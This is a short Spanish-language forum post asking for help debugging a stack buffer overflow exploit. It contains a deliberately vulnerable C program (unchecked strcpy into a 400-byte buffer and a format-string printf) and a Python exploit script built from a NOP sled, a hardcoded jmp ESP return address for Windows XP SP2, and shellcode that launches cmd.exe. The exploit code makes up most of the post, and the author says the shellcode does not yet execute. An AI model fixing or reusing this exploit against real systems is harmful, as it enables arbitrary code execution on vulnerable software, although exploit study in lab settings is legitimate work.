Estoy intentando explotar un stack overflow en python y no hay manera de que me ejecute la shellcode os agradeceria mil que me ayudarais a ver que hago mal.
Programa Vulnerable:
Código
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]){
char buffer[400];
strcpy(buffer, argv[1]);
printf(buffer);
return 0;
}
Exploit en python:
Código
import win32api
NoP = "\x90" * 412
RET_ADRESS ='\xED\x1E\x94\x7C' # jmp ESP ntdll.dll WinXP SP2
Shellcode ="\xB8\xFF\xEF\xFF\xFF\xF7\xD0\x2B\xE0\x55\x8B\xEC"
Shellcode +="\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45"
Shellcode +="\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45"
Shellcode +="\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45"
Shellcode +="\xF8\x50\xBB\xC7\x93\xBF\x77\xFF\xD3"
evilBuffer = NoP
evilBuffer += Shellcode
evilBuffer += RET_ADRESS
win32api.WinExec('vuln.exe '+evilBuffer)
Debugando veo que llego a sobreescribir EIP pero no hay manera que se ejecuta la shellcode.
Saludos y gracias.










Autor


En línea



?